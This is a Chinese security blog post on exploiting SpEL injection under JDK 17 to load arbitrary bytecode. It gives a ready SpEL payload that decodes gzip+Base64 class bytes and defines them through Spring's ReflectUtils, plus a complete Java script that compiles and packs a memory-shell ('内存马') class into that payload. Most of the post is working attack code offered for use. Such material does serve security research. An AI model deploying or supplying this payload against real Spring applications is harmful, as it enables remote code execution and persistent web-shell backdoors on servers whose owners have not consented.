jdk17+SPEL
1diot9 Lv4

仅适用于能够执行SPEL表达式的情况

这里跟前面CC+TemplatesImpl的区别在于,到达defineClass的方法不同了,前面都是通过反序列化,而这里是直接通过SPEL表达式。所以这里的主要目标是:怎么样才能执行SPEL

首先说一下哪些地方能执行SPEL:

1、写入xml,然后通过ClassPathXmlApplicationContext进行加载 (临时文件法,其他任意写漏洞)

2、存在SPEL注入的地方,能调用SPEL的地方

3、。。。还不知道

1
2
3
4
5
6
7
T(org.springframework.cglib.core.ReflectUtils).
defineClass('org.springframework.expression.Test',
T(org.apache.commons.io.IOUtils).toByteArray
(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream
(T(org.springframework.util.Base64Utils).decodeFromString('gzip + Base64')))),
T(java.lang.Thread).currentThread().getContextClassLoader(),null,
T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))

这里做了GZIP解压,因为不压缩的话,表达式长度超过10000,会触发报错,所以需要先行压缩一下。

除了T(org.apache.commons.io.IOUtils).toByteArray,还可以使用T(org.springframework.util.StreamUtils).copyToByteArray,后者更普适一些。

压缩用脚本,需要修改javaFilePath和javacPath变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package com.test;

import java.io.*;
import java.util.Base64;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPOutputStream;

public class Zip {

public static void main(String[] args) {
// 内存马代码文件
String javaFilePath = "Test.java";
String classFilePath = getClassNameFromJavaPath(javaFilePath) + ".class";
// 输出'gzip + Base64'的恶意字节码到文件
String outputFilePath = "SpELMemShell.txt";

try {
// 编译 .java 文件
compileJavaFile(javaFilePath);

// 检查 .class 文件是否已生成
if (!new File(classFilePath).exists()) {
throw new FileNotFoundException("The compiled class file was not generated.");
}

// 压缩并编码 .class 文件
String base64String = compressAndEncodeClassFile(classFilePath);

// 写入文件
writeToFile(outputFilePath, base64String);
} catch (IOException e) {
System.err.println("Error processing the file: " + e.getMessage());
}
}

private static void compileJavaFile(String javaFilePath) throws IOException {
// 内存马中的Object.class.getModule()方法是在Java 9及更高版本中引入的,因此需要指定使用Java 9+的javac进行编译
String javacPath = "D:\\sec_software\\jdks\\jdk-17.0.6\\bin\\javac.exe";

List<String> command = new ArrayList<>();
command.add(javacPath); // 使用 javac 的完整路径
command.add("-g:none");
command.add("-Xlint:unchecked");
command.add("-Xlint:deprecation");
command.add(javaFilePath);

ProcessBuilder processBuilder = new ProcessBuilder(command);
Process process = processBuilder.start();

// 等待编译完成
try {
int exitCode = process.waitFor();
if (exitCode != 0) {
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
String line;
while ((line = errorReader.readLine()) != null) {
System.err.println(line);
}
throw new RuntimeException("Compilation failed with exit code " + exitCode);
}
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new IOException("Compilation interrupted", e);
}
}

private static String compressAndEncodeClassFile(String classFilePath) throws IOException {
byte[] classData = readFile(classFilePath);

// 使用 gzip 进行压缩
byte[] compressedData = compress(classData);

// 将压缩后的数据转换为 Base64 编码
String encodedCompressedData = Base64.getEncoder().encodeToString(compressedData);

// 输出原始长度和新的 Base64 编码长度
System.out.println("Original Base64 encoded string length: " + classData.length);
System.out.println("New Base64 encoded string length after gzip compression: " + encodedCompressedData.length());

return encodedCompressedData;
}

private static byte[] readFile(String filePath) throws IOException {
try (FileInputStream fis = new FileInputStream(filePath)) {
byte[] data = new byte[fis.available()];
fis.read(data);
return data;
}
}

private static byte[] compress(byte[] data) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (GZIPOutputStream gzos = new GZIPOutputStream(baos)) {
gzos.write(data);
}
return baos.toByteArray();
}

private static void writeToFile(String filePath, String content) throws IOException {
try (BufferedWriter writer = new BufferedWriter(new FileWriter(filePath))) {
writer.write(content);
}
}

private static String getClassNameFromJavaPath(String javaFilePath) {
String fileName = new File(javaFilePath).getName();
return fileName.substring(0, fileName.indexOf('.'));
}
}

参考

https://mp.weixin.qq.com/s/xfmHjgx5jQRLKkIR7XUCcg

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 61.3k 访客数 访问量